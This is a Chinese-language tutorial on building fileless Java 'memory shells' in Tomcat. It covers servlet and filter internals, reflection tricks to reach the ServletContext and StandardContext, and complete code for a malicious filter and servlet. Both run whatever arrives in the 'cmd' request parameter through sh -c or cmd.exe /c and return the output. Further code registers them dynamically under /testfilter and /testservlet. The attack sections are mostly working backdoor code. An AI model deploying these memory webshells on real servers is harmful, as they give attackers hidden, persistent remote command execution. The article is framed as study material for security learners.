1. 前言
平时遇到可RCE的点,都是借助工具一键注入内存马,但对其中的原理并没有很清楚的了解。本文主要跟随前辈大佬的学习笔记,以Tomcat为例,初探Java内存马的实现原理。
2. 基础知识
2.1 servlet 和 filter
Servlet
主要的作用是可以动态地生产Web页面,他执行在客户端请求和服务器响应的之间。比较简单地理解就是,一个路由URL,就会有对应的servlet对这个路由进行处理。
Filter 是一段可以复用的代码,它用来拦截HTTP请求、响应、进行一些处理和转换。常见一些Javaweb项目会在 Filter 位置创建一些XSS拦截器或者SQL拦截器,用来统一处理SQL注入漏洞或者XSS漏洞。Filter 无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
2.2 servlet 和 filter 的生命周期
Servlet:
Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
- 装入:启动服务器时加载Servlet的实例
- 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
- 调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
- 销毁:停止服务器时调用destroy()方法,销毁实例
Filter:
自定义Filter的实现,一定要求javax.servlet.Filter下的三个方法的实现,它们分别是init()
、doFilter()
、destroy()
- 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
- 每一次请求时都只调用方法doFilter()进行处理;
- 停止服务器时调用destroy()方法,销毁实例。
2.3 Tomcat 的 Container – 容器组件
Tomcat中的 Container作用:
用于封装和管理 Servlet,以及具体处理Request请求,在Connector内部包含了4个子容器:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
这四个字容器实际上是自上向下的包含关系:
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。
关系图如下(借用参考文章的图):
对于tomcat的目录来说,webapps目录
对应的就是 Host
组件,下面的 cas
和 manager
等一个个webapp对应的就是 Context
组件,Wrapper 就是容器内的 Servlet了
2.4 Tomcat中的启动加载顺序
加载过程在 Tomcat 的org.apache.catalina.core.StandardContext#startInternal()
:
@Override
protected synchronized void startInternal() throws LifecycleException {
//设置webappLoader 代码省略
//Standard container startup 代码省略
try {
// Set up the context init params
mergeParameters();
// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}
从代码中可以看到,加载顺序 context-param->listeners->filters->servlets :
- 首先初始化 context-param 节点:
mergeParameters()
- 接着配置和调用 listeners 并开始监听:
listenerStart()
- 然后配置和调用 filters ,filters 开始起作用:
filterStart()
- 最后加载和初始化配置在 load on startup 的 servlets:
loadOnStartup(findChildren())
3. 内存马技术实现介绍
从 servlet3.0 开始,提供了动态注册 Servlet 、filter 、Listener,这里重点关注 Servlet
和 filter
,因为 Servlet 能够帮助我们接受 request 请求和 response 响应,并且针对传入内容进行操作,filter 也是可以做得到的。
相关函数如下:
createFilter(Java.lang.Class clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
createServlet(java.lang.Class clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class var2);
3.1 获取上下文对象 ServletContext
Servlet上下文又叫做:ServletContext。
当WEB服务器启动时,会为每一个WEB应用程序(webapps下的每个目录就是一个应用程序,也就是前面介绍的 Context 组件)创建一块共享的存储区域。
ServletContext也叫做“公共区域”,也就是同一个WEB应用程序中,所有的Servlet和JSP都可以共享同一个区域。
ServletContext在WEB服务器启动时创建,服务器关闭时销毁。
3.1.1 通过当前 request 对象获取 ServletContext
request.getSession().getServletContext();
所以这时候,如何获取servlet上下文(ServletContext)这个问题,就变成了如何获取运行状态中上下文中的 request 对象。
org.apache.catalina.core.ApplicationFilterChain
类当中存在两个static对象分别是:
private static final ThreadLocal lastServicedRequest;
private static final ThreadLocal lastServicedResponse;
而在这个逻辑中当ApplicationDispatcher.WRAP_SAME_OBJECT
为 true 的情况下,就会把 request 对象和 response 对象暂时存放在 lastServicedRequest 和 lastServicedResponse 当中。
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
所以现在我们要做的就是,通过反射来改变其中类的一些值,使得 request
对象和 response
对象存放在 lastServicedRequest
和 lastServicedResponse
当中。
这样做需要通过反射修改3个部分。
通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判断结果为true:
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
通过反射初始化 lastServicedRequest 存放 request 对象:
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
通过反射初始化 lastServicedResponse 存放 response 对象:
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
通过这3次的反射修改,就能在下一次请求中成功获取上下文的 servletContext 对象,借用一张图:
获取到的对象为ApplicationContext
类实例。
3.1.2 通过 Thread.currentThread().getContextClassLoader()
获取 StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
借用一张图:
获取到的对象为StandardContext
类实例。
tomcat 7 的结构不太一样,导致 tomcat 7 这种方法拿不到上下文中的 StandardContext 。
3.1.3 在 spring 项目中通过 spring 容器来获取 servletContext 对象(不推荐)
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
借用一张图:
获取到的对象为ApplicationContext
类实例。
这种情况下有一定的限制,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加载。
3.2 构造内存shell
要让 servlet 被外界访问到,可以在 web.xml 之中进行一些映射工作:
前面提到过从 servlet3.0 开始,提供了动态注册 Servlet 、filter ,这里主要学习怎么针对 Servlet 和 filter 如何进行动态注册。
3.2.1 添加恶意filter
先写一个恶意的 filter ,前面说过 filter 的实现,需要分别实现三个接口 init 、doFilter 、destroy 。
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
arg1.getWriter().write(output);
arg1.getWriter().flush();
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
}
}
Tomcat 在 org.apache.catalina.core.ApplicationContextFacade
当中实现了之前我们说的 ServletContext 中的 addFilter
和 addServlet
。先看 addFilter
的实现,这部分实现在 ApplicationContext#addFilter
当中。
在 addFilter 中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef);
进行添加了而已。完全可以通过反射的方式获取上下文 context 自行进行添加。
Filter filter = new filter(){上面的恶意代码}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
在 ApplicationFilterFactory.createFilterChain
当中,首先从 StandardContext 对象中获取filterMaps ,然后循环遍历 filterMaps ,最后再添加到 filterChain 当中。
上面代码我们构造好了 filterDef
,当时并没有添加进 filterMap 当中,自然也不会添加到filterChain中去,所以添加进去:
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/testfilter");
standardContext.addFilterMapBefore(m);
主要关注 standardContext.addFilterMapBefore
这个方法,这个方法最终的效果是要把我们创建的 filterMap 放到第一位去。因为从刚刚 ApplicationFilterFactory.createFilterChain
当中,我们知道这个顺序是从头到尾,看是一次次创建的,所以放到最前面是很有必要的。
最后还有一个问题需要解决,如何将 filter 添加到 filterConfigs
当中。关注 StandardContext#filterStart
方法就可以知道,遍历了 filterDefs 当中 filterName ,然后把对应的 name 添加到 filterConfigs 当中。再通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
如此一系列操作,就能构造并添加一个恶意的filter了。
注意:tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样。
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
3.2.2 添加恶意servlet
先写一个恶意的 servlet ,接口下需要有 init 、getServletConfig、service、getServletInfo、destroy。
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
我们知道 Wrapper 负责管理 Servlet ,而之前在动态加载 filter 的时候,我们通过 standardContext 当中的 addFilterDef 和 addFilterMap 来完成了 filter 的动态添加。那么是否在 standardContext 当中也能完成 Wrapper 的动态添加呢?答案是肯定的,createWrapper
就能够搞定了,实例化一个新的 Wrapper 对象,把相关内容写进去。
org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
这里这时候又有一个问题了,这个新建的 Wrapper 对象,并不在 StandardContext 的 children 当中,我们可以通过 StandardContext#addChild
把它加到 StandardContext 的 children 当中。最后还需要将我们的 Wrapper 对象,和访问的 url 进行绑定。
stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/testservlet",n);
如此操作,就能构造并添加一个恶意的servlet作为内存shell了,该方法较filter更好,tomcat 7 和 8 能够通用。
4. 总结
本文讲解了filter和servlet两种类型内存马实现的一些基础知识,对反射操作servlet上下文有了更深的理解,后面我还将结合具体实例场景(jsp文件构造内存马;命令执行、反序列化构造内存马)进行学习。
5. 参考资料
基于Tomcat无文件Webshell研究
Servlet上下文